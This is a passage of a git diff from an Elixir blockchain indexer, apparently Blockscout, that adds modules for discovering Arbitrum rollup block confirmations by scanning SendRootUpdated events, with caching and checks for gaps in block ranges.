+ :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }, + non_neg_integer() + ) :: [Arbitrum.BatchBlock.to_import()] + def extend_confirmations(rollup_blocks_to_l1_transactions, outbox_config, rollup_first_block) do + block_to_l1_transactions = + rollup_blocks_to_l1_transactions + |> Map.keys() + |> Enum.reduce(%{}, fn block_hash, transformed -> + rollup_block_num = DbSettlement.rollup_block_hash_to_num(block_hash) + + # nil is applicable for the case when the block is not indexed yet by + # the block fetcher, it makes sense to skip this block so far + case rollup_block_num do + nil -> + log_warning("The rollup block #{compress_hash(block_hash)} did not found. Plan to skip the confirmations") + transformed + + value -> + Map.put(transformed, value, rollup_blocks_to_l1_transactions[block_hash]) + end + end) + + if Enum.empty?(block_to_l1_transactions) do + [] + else + # Oldest (with the lowest number) block is first + rollup_block_numbers = Enum.sort(Map.keys(block_to_l1_transactions), :asc) + + rollup_block_numbers + |> Enum.reduce([], fn block_number, updated_rollup_blocks -> + log_info("Attempting to mark all rollup blocks including ##{block_number} and lower as confirmed") + + {_, confirmed_blocks} = + discover_rollup_blocks_belonging_to_one_confirmation( + block_number, + block_to_l1_transactions[block_number], + outbox_config, + rollup_first_block + ) + + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if length(confirmed_blocks) > 0 do + log_info("Found #{length(confirmed_blocks)} confirmed blocks") + + add_confirmation_transaction(confirmed_blocks, block_to_l1_transactions[block_number].l1_transaction_hash) ++ + updated_rollup_blocks + else + log_info("Either no unconfirmed blocks found or DB inconsistency error discovered") + [] + end + end) + end + end + + # Takes first 6 and last 6 nibbles of the hash + @spec compress_hash(binary()) :: binary() + defp compress_hash("0x" <> rest = _full_hash) do + "0x" <> String.slice(rest, 0, 6) <> "..." <> String.slice(rest, -6, 6) + end + + # Discovers rollup blocks within a single confirmation, ensuring no gaps in the confirmed range. + # + # This function follows these steps to identify unconfirmed rollup blocks related + # to a single confirmation event: + # 1. Retrieve the batch associated with the specified rollup block number. + # 2. Obtain a list of unconfirmed blocks within that batch. For the historical + # confirmations discovery, the list will include both unconfirmed blocks that + # are covered by the current confirmation and those that a going to be covered + # by the predecessor confirmation. + # 3. Determine the first unconfirmed block in the batch. It could be the first + # block in the batch or a block the next after the last confirmed block in the + # predecessor confirmation. + # 4. Verify the continuity of the unconfirmed blocks to be covered by the current + # confirmation to ensure there are no database inconsistencies or unindexed + # blocks. + # 5. If the first unconfirmed block is at the start of the batch, check if the + # confirmation also covers blocks from previous batches. If so, include their + # unconfirmed blocks in the range. + # 6. If all blocks in the previous batch are confirmed or the current batch is + # the first batch in the chain intended to be indexed, return the current list + # of unconfirmed blocks. + # 7. If the first unconfirmed block is in the middle of the batch, return the + # current list of unconfirmed blocks. + # This process continues recursively until it finds a batch with all blocks + # confirmed, encounters a gap, or reaches the start of the chain of blocks related + # to the confirmation. + # + # Cache Behavior: + # For each new confirmation, the cache for `eth_getLogs` requests starts empty. + # During recursive calls for previous batches, the cache fills with results for + # specific block ranges. With the confirmation description remaining constant + # through these calls, the cache effectively reduces the number of requests by + # reusing results for events related to previous batches within the same block + # ranges. Although the same logs might be re-requested for other confirmations + # within the same discovery iteration, the cache is not shared across different + # confirmations and resets for each new confirmation. Extending cache usage + # across different confirmations would require additional logic to match block + # ranges and manage cache entries, significantly complicating cache handling. + # Given the rarity of back-to-back confirmations in the same iteration of + # discovery in a production environment, the added complexity of shared caching + # is deemed excessive. + # + # ## Parameters + # - `rollup_block_num`: The rollup block number associated with the confirmation. + # - `confirmation_desc`: Description of the latest confirmation. + # - `outbox_config`: Configuration for the Arbitrum outbox contract. + # - `rollup_first_block`: The block number limiting the lowest indexed block of + # the chain. + # - `cache`: A cache to minimize repetitive `eth_getLogs` calls. + # + # ## Returns + # - `{:ok, unconfirmed_blocks}`: A list of rollup blocks that are confirmed by + # the current confirmation but not yet marked as confirmed in the database. + # - `{:error, []}`: If a discrepancy or inconsistency is found during the + # discovery process. + @spec discover_rollup_blocks_belonging_to_one_confirmation( + non_neg_integer(), + %{:l1_block_num => non_neg_integer(), optional(any()) => any()}, + %{ + :logs_block_range => non_neg_integer(), + :outbox_address => binary(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }, + non_neg_integer(), + EventsUtils.cached_logs() + ) :: {:ok, [Arbitrum.BatchBlock.to_import()]} | {:error, []} + defp discover_rollup_blocks_belonging_to_one_confirmation( + rollup_block_num, + confirmation_desc, + outbox_config, + rollup_first_block, + cache \\ %{} + ) do + # The following batch fields are required in the further processing: + # number, start_block, end_block, commitment_transaction.block_number + with {:ok, batch} <- get_batch(rollup_block_num), + {:ok, raw_unconfirmed_rollup_blocks} when raw_unconfirmed_rollup_blocks != [] <- + get_unconfirmed_rollup_blocks(batch, rollup_block_num), + # It is not the issue to request logs for the first call of + # discover_rollup_blocks_belonging_to_one_confirmation since we need + # to make sure that there is no another confirmation for part of the + # blocks of the batch. + # If it returns `{:ok, []}` it will be passed as the return value of + # discover_rollup_blocks_belonging_to_one_confirmation function. + {:ok, {first_unconfirmed_block, new_cache}} <- + check_confirmed_blocks_of_batch(rollup_block_num, batch, confirmation_desc, outbox_config, cache), + {:ok, unconfirmed_rollup_blocks} <- + check_consecutive_rollup_blocks( + raw_unconfirmed_rollup_blocks, + first_unconfirmed_block, + rollup_block_num, + batch.number + ) do + # For the case when the first unconfirmed block in the batch is the batch start block + # it is the lowest indexed block of the chain, there is no need to deep dive into the + # previous batches + if first_unconfirmed_block == batch.start_block and + not genesis_reached?(first_unconfirmed_block, rollup_first_block) do + log_info("End of the batch #{batch.number} discovered, moving to the previous batch") + + {status, updated_rollup_blocks} = + discover_rollup_blocks_belonging_to_one_confirmation( + first_unconfirmed_block - 1, + confirmation_desc, + outbox_config, + rollup_first_block, + new_cache + ) + + case status do + :error -> {:error, []} + # updated_rollup_blocks will contain either [] if the previous batch + # already confirmed or list of unconfirmed blocks of all previous + # unconfirmed batches + :ok -> {:ok, unconfirmed_rollup_blocks ++ updated_rollup_blocks} + end + else + # During the process of new confirmations discovery it will show "N of N", + # for the process of historical confirmations discovery it will show "N of M". + log_info( + "#{length(unconfirmed_rollup_blocks)} of #{length(raw_unconfirmed_rollup_blocks)} blocks in the batch ##{batch.number} corresponds to current confirmation" + ) + + {:ok, unconfirmed_rollup_blocks} + end + end + end + + # Determines if a rollup block number has reached the lowest indexed block of the chain. + # + # ## Parameters + # - `rollup_block_num`: The rollup block number to check + # - `rollup_first_block`: The block number limiting the lowest indexed block of + # the chain. + # + # ## Returns + # - `true` if the block number has reached genesis, `false` otherwise + @spec genesis_reached?(non_neg_integer(), non_neg_integer()) :: boolean() + defp genesis_reached?(rollup_block_num, rollup_first_block) do + # If it is assumed that rollup_block_num is the number of a block included in a batch, then + # the first part of the condition covers the case when the first rollup block is configured + # explicitly (not 0) and it can be a part of any batch. The second part of the condition + # covers the case when the first rollup block is 0, which cannot be included in any batch, + # so rollup_block_num belongs to the first batch. + rollup_block_num <= rollup_first_block or rollup_block_num - 1 <= 0 + end + + # Retrieves the batch containing the specified rollup block and logs the attempt. + @spec get_batch(non_neg_integer()) :: {:ok, Arbitrum.L1Batch.t()} | {:error, []} + defp get_batch(rollup_block_num) do + # Note: No sense in moving this function to Db.Settlement since it contains module + # specific logs + + # Generally if batch is nil it means either + # - a batch to a rollup block association is not found, not recoverable + # - a rollup block is not found, the corresponding batch is not handled yet. It is possible + # because the method can be called for guessed block number rather than received from + # the batch description or from blocks list received after a batch handling. In this case + # the confirmation must be postponed until the corresponding batch is handled. + batch = DbSettlement.get_batch_by_rollup_block_number(rollup_block_num) + + if batch != nil do + log_info( + "Attempt to identify which blocks of the batch ##{batch.number} within ##{batch.start_block}..##{rollup_block_num} are confirmed" + ) + + {:ok, batch} + else + log_warning( + "Batch where the block ##{rollup_block_num} was included is not found, skipping this blocks and lower" + ) + + {:error, []} + end + end + + # Identifies unconfirmed rollup blocks within a batch up to specified block + # number, checking for potential synchronization issues. + @spec get_unconfirmed_rollup_blocks( + Arbitrum.L1Batch.t(), + non_neg_integer() + ) :: {:ok, [Arbitrum.BatchBlock.to_import()]} | {:error, []} + defp get_unconfirmed_rollup_blocks(batch, rollup_block_num) do + # Note: No sense in moving this function to Db.Settlement since it contains module + # specific logs + + unconfirmed_rollup_blocks = DbSettlement.unconfirmed_rollup_blocks(batch.start_block, rollup_block_num) + + if Enum.empty?(unconfirmed_rollup_blocks) do + # Blocks are not found only in case when all blocks in the batch confirmed + # or in case when Chain.Block for block in the batch are not received yet + + if DbSettlement.count_confirmed_rollup_blocks_in_batch(batch.number) == batch.end_block - batch.start_block + 1 do + log_info("No unconfirmed blocks in the batch #{batch.number}") + {:ok, []} + else + log_warning("Seems that the batch #{batch.number} was not fully synced. Skipping its blocks") + {:error, []} + end + else + {:ok, unconfirmed_rollup_blocks} + end + end + + # Identifies the first block in the batch that is not yet confirmed. + # + # This function attempts to find a `SendRootUpdated` event between the already + # discovered confirmation and the L1 block where the batch was committed, that + # mentions any block of the batch as the top of the confirmed blocks. Depending + # on the lookup result, it either considers the found block or the very + # first block of the batch as the start of the range of unconfirmed blocks ending + # with `rollup_block_num`. + # To optimize `eth_getLogs` calls required for the `SendRootUpdated` event lookup, + # it uses a cache. + # Since this function only discovers the number of the unconfirmed block, it does + # not check continuity of the unconfirmed blocks range in the batch. + # + # ## Parameters + # - `rollup_block_num`: The rollup block number to check for confirmation. + # - `batch`: The batch containing the rollup blocks. + # - `confirmation_desc`: Details of the latest confirmation. + # - `outbox_config`: Configuration for the Arbitrum outbox contract. + # - `cache`: A cache to minimize `eth_getLogs` calls. + # + # ## Returns + # - `{:ok, []}` when all blocks in the batch are already confirmed. + # - `{:error, []}` when a potential database inconsistency or unprocessed batch is + # found. + # - `{:ok, {first_unconfirmed_block_in_batch, new_cache}}` with the number of the + # first unconfirmed block in the batch and updated cache. + @spec check_confirmed_blocks_of_batch( + non_neg_integer(), + Arbitrum.L1Batch.t(), + %{:l1_block_num => non_neg_integer(), optional(any()) => any()}, + %{ + :logs_block_range => non_neg_integer(), + :outbox_address => binary(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }, + EventsUtils.cached_logs() + ) :: {:ok, {non_neg_integer(), EventsUtils.cached_logs()}} | {:ok, []} | {:error, []} + defp check_confirmed_blocks_of_batch( + rollup_block_num, + batch, + confirmation_desc, + outbox_config, + cache + ) do + # This function might look like over-engineered, but confirmations are not always + # aligned with the boundaries of a batch unfortunately. + + {status, block?, new_cache} = + check_if_batch_confirmed(batch, confirmation_desc, outbox_config, rollup_block_num, cache) + + case {status, block? == rollup_block_num} do + {:error, _} -> + {:error, []} + + {_, true} -> + log_info("All the blocks in the batch ##{batch.number} have been already confirmed by another transaction") + # Though the response differs from another `:ok` response in the function, + # it is assumed that this case will be handled by the invoking function. + {:ok, []} + + {_, false} -> + first_unconfirmed_block_in_batch = + case block? do + nil -> + batch.start_block + + value -> + log_info("Blocks up to ##{value} of the batch have been already confirmed by another transaction") + value + 1 + end + + {:ok, {first_unconfirmed_block_in_batch, new_cache}} + end + end + + # Checks if any rollup blocks within a batch are confirmed by scanning `SendRootUpdated` events. + # + # This function uses the L1 block range from batch's commit transaction block to + # the block before the latest confirmation to search for `SendRootUpdated` events. + # These events indicate the top confirmed rollup block. To optimize `eth_getLogs` + # calls, it uses a cache and requests logs in chunked block ranges. + # + # ## Parameters + # - `batch`: The batch to check for confirmed rollup blocks. + # - `confirmation_desc`: Description of the latest confirmation details. + # - `l1_outbox_config`: Configuration for the L1 outbox contract, including block + # range for logs retrieval. + # - `highest_unconfirmed_block`: The batch's highest rollup block number which is + # considered as unconfirmed. + # - `cache`: A cache for the logs to reduce the number of `eth_getLogs` calls. + # + # ## Returns + # - `{:ok, highest_confirmed_rollup_block, new_cache}`: + # - `highest_confirmed_rollup_block` is the highest rollup block number confirmed + # within the batch. + # - `new_cache` contains the updated logs cache. + # - `{:ok, nil, new_cache}` if no rollup blocks within the batch are confirmed. + # - `new_cache` contains the updated logs cache. + # - `{:error, nil, new_cache}` if an error occurs during the log fetching process, + # such as when a rollup block corresponding to a given hash is not found in the + # database. + # - `new_cache` contains the updated logs cache despite the error. + @spec check_if_batch_confirmed( + Arbitrum.L1Batch.t(), + %{:l1_block_num => non_neg_integer(), optional(any()) => any()}, + %{ + :logs_block_range => non_neg_integer(), + :outbox_address => binary(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }, + non_neg_integer(), + EventsUtils.cached_logs() + ) :: {:ok, nil | non_neg_integer(), EventsUtils.cached_logs()} | {:error, nil, EventsUtils.cached_logs()} + defp check_if_batch_confirmed(batch, confirmation_desc, l1_outbox_config, highest_unconfirmed_block, cache) do + log_info( + "Use L1 blocks #{batch.commitment_transaction.block_number}..#{confirmation_desc.l1_block_num - 1} to look for a rollup block confirmation within #{batch.start_block}..#{highest_unconfirmed_block} of ##{batch.number}" + ) + + block_pairs = + l1_blocks_pairs_to_get_logs( + batch.commitment_transaction.block_number, + confirmation_desc.l1_block_num - 1, + l1_outbox_config.logs_block_range + ) + + block_pairs_length = length(block_pairs) + + {status, block, new_cache, _} = + block_pairs + |> Enum.reduce_while({:ok, nil, cache, @zero_counters}, fn {log_start, log_end}, + {_, _, updated_cache, counters} -> + {status, latest_block_confirmed, new_cache, logs_amount} = + do_check_if_batch_confirmed( + {batch.start_block, batch.end_block}, + {log_start, log_end}, + l1_outbox_config, + updated_cache + ) + + case {status, latest_block_confirmed} do + {:error, _} -> + {:halt, {:error, nil, new_cache, @zero_counters}} + + {_, nil} -> + next_counters = next_counters(counters, logs_amount) + + # credo:disable-for-lines:3 Credo.Check.Refactor.Nesting + if next_counters.report? and block_pairs_length != next_counters.pairs_counter do + log_info("Examined #{next_counters.pairs_counter - 1} of #{block_pairs_length} L1 block ranges") + end + + {:cont, {:ok, nil, new_cache, next_counters}} + + {_, previous_confirmed_rollup_block} -> + log_info("Confirmed block ##{previous_confirmed_rollup_block} for the batch found") + {:halt, {:ok, previous_confirmed_rollup_block, new_cache, @zero_counters}} + end + end) + + {status, block, new_cache} + end + + # Generates descending order pairs of start and finish block numbers, ensuring + # identical beginning pairs for the same finish block and max range. + # Examples: + # l1_blocks_pairs_to_get_logs(1, 10, 3) -> [{8, 10}, {5, 7}, {2, 4}, {1, 1}] + # l1_blocks_pairs_to_get_logs(5, 10, 3) -> [{8, 10}, {5, 7}] + @spec l1_blocks_pairs_to_get_logs(non_neg_integer(), non_neg_integer(), non_neg_integer()) :: [ + {non_neg_integer(), non_neg_integer()} + ] + defp l1_blocks_pairs_to_get_logs(start, finish, max_range) do + # credo:disable-for-lines:9 Credo.Check.Refactor.PipeChainStart + Stream.unfold(finish, fn cur_finish -> + if cur_finish < start do + nil + else + cur_start = max(cur_finish - max_range + 1, start) + {{cur_start, cur_finish}, cur_start - 1} + end + end) + |> Enum.to_list() + end + + # Scans `SendRootUpdated` events in the given L1 block range to find the highest + # rollup block within the specified range that has been confirmed. Uses caching + # to minimize `eth_getLogs` calls. + # + # ## Parameters + # - `{rollup_start_block, rollup_end_block}`: Range of rollup blocks to check + # - `{log_start, log_end}`: Range of L1 blocks to scan for events + # - `l1_outbox_config`: Arbitrum Outbox contract configuration + # - `cache`: Cache of previously fetched logs + # + # ## Returns + # - `{:ok, block_num, new_cache, logs_length}`: Found confirmed block in range + # - `{:ok, nil, new_cache, logs_length}`: No confirmed blocks in range + # - `{:error, nil, new_cache, logs_length}`: Block hash resolution failed + @spec do_check_if_batch_confirmed( + {non_neg_integer(), non_neg_integer()}, + {non_neg_integer(), non_neg_integer()}, + %{ + :outbox_address => binary(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }, + EventsUtils.cached_logs() + ) :: + {:ok, nil | non_neg_integer(), EventsUtils.cached_logs(), non_neg_integer()} + | {:error, nil, EventsUtils.cached_logs(), non_neg_integer()} + defp do_check_if_batch_confirmed( + batch_block_range, + {log_start, log_end}, + l1_outbox_config, + cache + ) do + case EventsUtils.fetch_and_sort_confirmations_logs(log_start, log_end, l1_outbox_config, cache) do + {:error, nil, new_cache, logs_length} -> + {:error, nil, new_cache, logs_length} + + # For every discovered event check if the rollup block in the confirmation + # is within the specified range which usually means that the event + # is the confirmation of the batch described by the range. + {:ok, sorted_block_numbers, new_cache, logs_length} -> + latest_block_confirmed = find_first_block_in_range(sorted_block_numbers, batch_block_range) + {:ok, latest_block_confirmed, new_cache, logs_length} + end + end + + # Finds the first block number from the sorted list that falls within the specified range. + @spec find_first_block_in_range([non_neg_integer()], {non_neg_integer(), non_neg_integer()}) :: + non_neg_integer() | nil + defp find_first_block_in_range(sorted_block_numbers, {start_block, end_block}) do + Enum.find_value(sorted_block_numbers, nil, fn block_num -> + if block_num >= start_block and block_num <= end_block do + log_debug("The rollup block ##{block_num} within the range") + block_num + else + log_debug("The rollup block ##{block_num} outside of the range") + nil + end + end) + end + + # Simplifies the process of updating counters for the `eth_getLogs` requests + # to be used for logging purposes. + @spec next_counters( + %{:pairs_counter => non_neg_integer(), :capped_logs_counter => non_neg_integer(), optional(any()) => any()}, + non_neg_integer() + ) :: %{ + :pairs_counter => non_neg_integer(), + :capped_logs_counter => non_neg_integer(), + :report? => boolean() + } + defp next_counters(%{pairs_counter: pairs_counter, capped_logs_counter: capped_logs_counter}, logs_amount) do + %{ + pairs_counter: pairs_counter + 1, + capped_logs_counter: rem(capped_logs_counter + logs_amount, @logs_per_report), + report?: div(capped_logs_counter + logs_amount, @logs_per_report) > 0 + } + end + + # Returns consecutive rollup blocks within the range of lowest_confirmed_block..highest_confirmed_block + # assuming that the list of unconfirmed rollup blocks finishes on highest_confirmed_block and + # is sorted by block number + @spec check_consecutive_rollup_blocks( + [Arbitrum.BatchBlock.to_import()], + non_neg_integer(), + non_neg_integer(), + non_neg_integer() + ) :: {:ok, [Arbitrum.BatchBlock.to_import()]} | {:error, []} + defp check_consecutive_rollup_blocks( + all_unconfirmed_rollup_blocks, + lowest_confirmed_block, + highest_confirmed_block, + batch_number + ) do + {status, unconfirmed_rollup_blocks} = + check_consecutive_rollup_blocks_and_cut(all_unconfirmed_rollup_blocks, lowest_confirmed_block) + + unconfirmed_rollup_blocks_length = length(unconfirmed_rollup_blocks) + expected_blocks_range_length = highest_confirmed_block - lowest_confirmed_block + 1 + + case {status, unconfirmed_rollup_blocks_length == expected_blocks_range_length} do + {true, true} -> + {:ok, unconfirmed_rollup_blocks} + + {true, false} -> + log_warning( + "Only #{unconfirmed_rollup_blocks_length} of #{expected_blocks_range_length} blocks found. Skipping the blocks from the batch #{batch_number}" + ) + + {:error, []} + + _ -> + # The case when there is a gap in the blocks range is possible when there is + # a DB inconsistency. From another side, the case when the confirmation is for blocks + # in two batches -- one batch has been already indexed, another one has not been yet. + # Both cases should be handled in the same way - this confirmation must be postponed + # until the case resolution. + log_warning("Skipping the blocks from the batch #{batch_number}") + {:error, []} + end + end + + # Checks for consecutive rollup blocks starting from the lowest confirmed block + # and returns the status and the list of consecutive blocks. + # + # This function processes a list of rollup blocks to verify if they are consecutive, + # starting from the `lowest_confirmed_block`. If a gap is detected between the + # blocks, the process halts and returns false along with an empty list. If all + # blocks are consecutive, it returns true along with the list of consecutive + # blocks. + # + # ## Parameters + # - `blocks`: A list of rollup blocks to check. + # - `lowest_confirmed_block`: The lowest confirmed block number to start the check. + # + # ## Returns + # - A tuple where the first element is a boolean indicating if all blocks are + # consecutive, and the second element is the list of consecutive blocks if the + # first element is true, otherwise an empty list. + @spec check_consecutive_rollup_blocks_and_cut([Arbitrum.BatchBlock.to_import()], non_neg_integer()) :: + {boolean(), [Arbitrum.BatchBlock.to_import()]} + defp check_consecutive_rollup_blocks_and_cut(blocks, lowest_confirmed_block) do + {_, status, cut_blocks} = + Enum.reduce_while(blocks, {nil, false, []}, fn block, {prev, _, cut_blocks} -> + case {prev, block.block_number >= lowest_confirmed_block} do + {nil, true} -> + {:cont, {block.block_number, true, [block | cut_blocks]}} + + {value, true} -> + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if block.block_number - 1 == value do + {:cont, {block.block_number, true, [block | cut_blocks]}} + else + log_warning("A gap between blocks ##{value} and ##{block.block_number} found") + {:halt, {block.block_number, false, []}} + end + + {_, false} -> + {:cont, {nil, false, []}} + end + end) + + {status, cut_blocks} + end + + # Adds the confirmation transaction hash to each rollup block description in the list. + @spec add_confirmation_transaction([Arbitrum.BatchBlock.to_import()], binary()) :: [Arbitrum.BatchBlock.to_import()] + defp add_confirmation_transaction(block_descriptions_list, confirm_transaction_hash) do + block_descriptions_list + |> Enum.reduce([], fn block_descr, updated -> + new_block_descr = + block_descr + |> Map.put(:confirmation_transaction, confirm_transaction_hash) + + [new_block_descr | updated] + end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/tasks.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/tasks.ex new file mode 100644 index 000000000000..5c06a333224b --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/tasks.ex @@ -0,0 +1,556 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.Confirmations.Tasks do + @moduledoc """ + Handles the discovery and processing of new and historical confirmations of rollup blocks for an Arbitrum rollup. + + This module orchestrates two distinct confirmation discovery processes: + 1. New confirmations discovery - processes recent confirmations from the + chain head + 2. Historical confirmations discovery - handles previously missed or unprocessed + confirmations + + The process involves fetching logs for the `SendRootUpdated` events emitted by + the Arbitrum Outbox contract. These events indicate the top of the rollup blocks + confirmed up to a specific point in time. The identified block is used to find + all blocks beneath it that are not confirmed by other `SendRootUpdated` events. + All discovered blocks are then linked with the corresponding transaction that + emitted the `SendRootUpdated` event. Additionally, L2-to-L1 messages included in + the rollup blocks up to the confirmed top are identified to change their status + from `:sent` to `:confirmed`. + + Though the `SendRootUpdated` event implies that all rollup blocks below the + mentioned block are confirmed, the current design of the process attempts to + match every rollup block to a specific confirmation. This means that if there + are two confirmations, and the earlier one points to block N while the later + points to block M (such that M > N), the blocks from N+1 to M are linked with + the latest confirmation, and blocks from X+1 to N are linked to the earlier + confirmation (where X is the rollup block mentioned in an even earlier + confirmation). + + Since the confirmations discovery process is asynchronous with respect to the + block fetching process and the batches discovery process, there could be + situations when the information about rollup blocks or their linkage with a + batch is not available yet. Here is a list of possible scenarios and expected + behavior: + 1. A rollup block required to proceed with the new confirmation discovery is + not indexed yet, or the batch where this block is included is not indexed + yet. + - The new confirmation discovery process will proceed with discovering new + confirmations and the L1 blocks range where the confirmation handling is + aborted will be passed to the historical confirmations discovery process. + 2. A rollup block required to proceed with the historical confirmation discovery + is not indexed yet, or the batch where this block is included is not indexed + yet. + - The historical confirmation discovery process will proceed with the same + L1 blocks range where the confirmation handling is aborted until this + confirmation is handled properly. + + As it is clear from the above, the historical confirmation discovery process + could be interrupted by the new confirmation discovery process. As soon as the + historical confirmation discovery process reaches the lower end of the L1 block + range where the new confirmation discovery process is aborted, the historical + confirmation discovery process will request the database to provide the next L1 + block range of missing confirmations. Such a range could be closed when there + are end and start L1 blocks in which a missing confirmation is expected, or + open-ended where the start block is not defined and the end block is the block + preceding the L1 block where a confirmation was already handled by the discovery + process. + """ + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_debug: 1, log_info: 1, log_warning: 1] + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Settlement, as: DbSettlement + alias Indexer.Fetcher.Arbitrum.Utils.Helper, as: ArbitrumHelper + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + alias Indexer.Fetcher.Arbitrum.Workers.Confirmations.Discovery, as: ConfirmationsDiscovery + alias Indexer.Helper, as: IndexerHelper + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + require Logger + + @type new_confirmations_data_map :: %{ + :start_block => non_neg_integer() + } + + @type historical_confirmations_data_map :: %{ + :start_block => nil | non_neg_integer(), + :end_block => nil | non_neg_integer(), + optional(:lowest_l1_block_for_confirmations) => non_neg_integer() + } + + @typep confirmations_related_state :: %{ + :config => %{ + :l1_outbox_address => binary(), + :l1_rollup_init_block => non_neg_integer(), + :l1_rpc => %{ + :finalized_confirmations => boolean(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :logs_block_range => non_neg_integer(), + optional(any()) => any() + }, + :l1_start_block => non_neg_integer(), + :rollup_first_block => non_neg_integer(), + optional(any()) => any() + }, + :task_data => %{ + :new_confirmations => new_confirmations_data_map(), + :historical_confirmations => historical_confirmations_data_map(), + optional(any()) => any() + }, + optional(any()) => any() + } + + @non_ready_message "Skipping confirmations discovery since the unconfirmed blocks index is not ready yet" + + @doc """ + Discovers and processes new confirmations of rollup blocks within a calculated block range. + + This function identifies the appropriate L1 block range for discovering new + rollup confirmations. In order to make sure that no confirmation is missed due + to re-orgs, it adjusts the range to re-inspect some L1 blocks in the past. + Therefore the lower bound of the L1 blocks range is identified based on the + safe block or the block which is considered as safest if RPC does not support + "safe" block retrieval. + + Before processing confirmations, the function checks if the unconfirmed blocks index + is ready (when `check_for_readiness` is true). If the index is not ready, it returns + a `:not_ready` status without performing the discovery. + + Then the function fetches logs representing `SendRootUpdated` events within + the found range to identify the new tops of rollup block confirmations. The + discovered confirmations are processed to update the status of rollup blocks + and L2-to-L1 messages accordingly. Eventually, updated rollup blocks, cross-chain + messages, and newly constructed lifecycle transactions are imported into the + database. + + After processing the confirmations, the function updates the state to prepare + for the next iteration. It adjusts the `new_confirmations_start_block` to the + block number after the last processed block. If a confirmation is missed, the + range for the next iteration of the historical confirmations discovery process + is adjusted to re-inspect the range where the confirmation was not handled + properly. + + ## Parameters + - `state`: A map containing: + - `config`: Configuration map with outbox address, RPC settings, and rollup first block + - `task_data`: Task-related data including: + - `new_confirmations`: Contains the `start_block` from which to begin the + new confirmation discovery + - `historical_confirmations`: Contains the `end_block` for historical confirmations + - `check_for_readiness`: When true, checks if the unconfirmed blocks index is ready + before proceeding with the discovery (defaults to true) + + ## Returns + - `{:ok, new_state}`: If the discovery process completes successfully + - `{:confirmation_missed, new_state}`: If a confirmation is missed and further + action is needed + - `{:not_ready, state}`: If the unconfirmed blocks index is not ready yet + """ + @spec check_new(confirmations_related_state(), boolean()) :: + {:ok | :confirmation_missed | :not_ready, confirmations_related_state()} + def check_new(state, check_for_readiness \\ true) + + def check_new(state, true) do + if ArbitrumHelper.unconfirmed_blocks_index_ready?() do + check_new(state, false) + else + log_warning(@non_ready_message) + {:not_ready, state} + end + end + + def check_new( + %{ + config: %{ + l1_rpc: l1_rpc_config, + l1_outbox_address: outbox_address, + rollup_first_block: rollup_first_block + }, + task_data: %{ + new_confirmations: %{ + start_block: start_block + }, + historical_confirmations: %{ + end_block: historical_confirmations_end_block + } + } + } = state, + false + ) do + {safe_start_block, latest_block} = + if l1_rpc_config.finalized_confirmations do + # It makes sense to use "safe" here. Blocks are confirmed with delay in one week + # (applicable for ArbitrumOne and Nova), so 10 mins delay is not significant. + # By using "safe" we can avoid re-visiting the same blocks in case of reorgs. + {safe_chain_block, _} = IndexerHelper.get_safe_block(l1_rpc_config.json_rpc_named_arguments) + + {start_block, safe_chain_block} + else + # There are situations when it could be necessary to react on L1 confirmation + # transactions earlier than the safe block. For example, for testnets. + # Another situation when the rollup uses L1 RPC which does not support "safe" + # block retrieval. + # In both cases it is desired to re-visit some amount head blocks to ensure + # that no confirmation is missed due to reorgs. + + # The amount of blocks to re-visit depends on the current safe block or the + # block which is considered as safest if RPC does not support "safe" block. + {safe_block, latest_block} = + Rpc.get_safe_and_latest_l1_blocks(l1_rpc_config.json_rpc_named_arguments, l1_rpc_config.logs_block_range) + + # If the new confirmations discovery process does not reach the chain head + # previously no need to re-visit the blocks. + {min(start_block, safe_block), latest_block} + end + + # If ranges for the new confirmations discovery and the historical confirmations + # discovery are overlapped - it could be after confirmations gap identification, + # it is necessary to adjust the start block for the new confirmations discovery. + actual_start_block = + if is_nil(historical_confirmations_end_block) do + safe_start_block + else + max(safe_start_block, historical_confirmations_end_block + 1) + end + + end_block = min(start_block + l1_rpc_config.logs_block_range - 1, latest_block) + + if actual_start_block <= end_block do + log_info("Block range for new rollup confirmations discovery: #{actual_start_block}..#{end_block}") + + # Since for the case l1_rpc_config.finalized_confirmations = false the range + # actual_start_block..end_block could be larger than L1 RPC max block range for + # getting logs, it is necessary to divide the range into the chunks. + results = + ArbitrumHelper.execute_for_block_range_in_chunks( + actual_start_block, + end_block, + l1_rpc_config.logs_block_range, + fn chunk_start, chunk_end -> + ConfirmationsDiscovery.perform( + outbox_address, + chunk_start, + chunk_end, + l1_rpc_config, + rollup_first_block + ) + end, + true + ) + + # Since halt_on_error was set to true, it is OK to consider the last result + # only. + {{start_block, end_block}, retcode} = List.last(results) + + case retcode do + :ok -> + {retcode, state_for_next_iteration_new(state, end_block + 1)} + + :confirmation_missed -> + {retcode, state_for_next_iteration_new(state, end_block + 1, {start_block, end_block})} + end + else + {:ok, state_for_next_iteration_new(state, start_block)} + end + end + + # Updates the state for the next iteration of new confirmations discovery. + @spec state_for_next_iteration_new( + confirmations_related_state(), + non_neg_integer(), + nil | {non_neg_integer(), non_neg_integer()} + ) :: confirmations_related_state() + defp state_for_next_iteration_new(prev_state, start_block, historical_blocks \\ nil) do + historical_confirmations_next_iteration = + case historical_blocks do + nil -> + %{} + + {start_block, end_block} -> + %{start_block: start_block, end_block: end_block} + end + + prev_state + |> ArbitrumHelper.update_fetcher_task_data(:new_confirmations, %{start_block: start_block}) + |> 